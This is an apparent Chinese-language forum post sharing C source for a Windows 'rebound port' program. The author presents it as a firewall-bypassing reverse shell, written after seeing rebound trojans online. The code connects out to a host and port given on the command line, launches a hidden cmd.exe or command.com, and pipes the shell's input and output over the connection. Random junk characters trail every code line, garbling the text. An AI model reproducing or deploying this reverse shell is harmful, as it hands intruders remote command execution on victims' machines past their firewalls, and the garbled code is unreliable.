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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uK5Px!  
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/* ============================== #^V"=RbD  
Rebound port in Windows NT }('' |z#UE  
By wind,2006/7 \ChcJth@o<  
===============================*/ Y'h'8 \  
#include Q1[s{,  
#include ?O ?~|nI  
bm.H0rHR4  
#pragma comment(lib,"wsock32.lib") z+I-3v  
c y$$}  
void OutputShell(); &O)mPnx`  
SOCKET sClient; ,oe{@ z{*@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Dw3! ibg  
Oc`fQqYy  
void main(int argc,char **argv) B E)l77=/  
{ ^*Fkt(ida  
WSADATA stWsaData; M3kE91  
int nRet; `s$@6r$  
SOCKADDR_IN stSaiClient,stSaiServer; 6u}NI!he  
7:%K-LeaQu  
if(argc != 3) }VRo:sJb  
{ 5i?U-  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0=DawJ9  
return; I,;)pWX=@  
} )O Cr6UR  
t79MBgZ  
WSAStartup(MAKEWORD(2,2),&stWsaData); Oa .%n9ec  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Cl&"bX  
Vba}RF[b  
stSaiClient.sin_family = AF_INET; W~FA9Jd'Z  
stSaiClient.sin_port = htons(0); ](D [T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Hf iM]^  
STI3|}G*P  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ) b8*>k  
{ ^B9wmxe  
printf("Bind Socket Failed!\n"); <-pbLL9  
return; 9Ba<'wk/>"  
} (" %yV_R  
~/%){t/uLY  
stSaiServer.sin_family = AF_INET; oH0\6:S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )%7A. UO)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); enj2xye%Y  
AtOB'=ph*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ez>@'yhK  
{ RT>3\qhZ  
printf("Connect Error!"); t;'.D @  
return; _HQa3wj  
} @:I/lg=Qd  
OutputShell(); M{QNpoM  
} HPQ,tlp6j  
OA0\b_  
void OutputShell() `L>'9rbZO  
{ Zn/ /u<D  
char szBuff[1024]; t}nRWo  
SECURITY_ATTRIBUTES stSecurityAttributes; ;Z*RCuwg  
OSVERSIONINFO stOsversionInfo; 3a0C<hW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;xc  
STARTUPINFO stStartupInfo; 6eD[)_?]y  
char *szShell; TxWj gW~  
PROCESS_INFORMATION stProcessInformation; ;`+,gVrp  
unsigned long lBytesRead; 'Bx7b(xqk  
7d*<'k]{,  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s7?kU3 y=s  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F t}tIP7  
stSecurityAttributes.lpSecurityDescriptor = 0; wSK?mS6  
stSecurityAttributes.bInheritHandle = TRUE; hbK+\X  
ElAG~u?  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ORoraEK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5a/)|  
h(sD]N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rSk $]E]Z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JoYzC8/r  
stStartupInfo.wShowWindow = SW_HIDE; ?cvv!2B]T  
stStartupInfo.hStdInput = hReadPipe; x1~`Z}LX0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r/e&}!  
)+G(4eIT  
GetVersionEx(&stOsversionInfo); Q7\Ax0  
jDoWSYu4tY  
switch(stOsversionInfo.dwPlatformId) %WNy=V9txp  
{ N?XN$hwdZ  
case 1: , ]MX&]  
szShell = "command.com"; mR^D55k  
break; bCF63(0  
default: a srkuAS  
szShell = "cmd.exe"; KlPH.R3MPO  
break; jc<3\ 7  
} weOMYJO;8  
OW>U 5 \q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TwN8|ibVmP  
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send(sClient,szMsg,77,0); f`%k@\  
while(1) sw1XN?O  
{ wg_Z!(Hr#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l;2bBx7vW  
if(lBytesRead) 'a}{s>{O  
{ g`j%jQuY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2I7P}=  
send(sClient,szBuff,lBytesRead,0); +*dJddz   
} a AuQw  
else !ZVMx*1Cf  
{ NXx}KF c  
lBytesRead=recv(sClient,szBuff,1024,0); /_O-m8+ 4m  
if(lBytesRead<=0) break; TaC)N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5?O"N  
} =pNkS1ey  
} F8/@/B  
`y\:3bQ4  
return; p d6d(  
}
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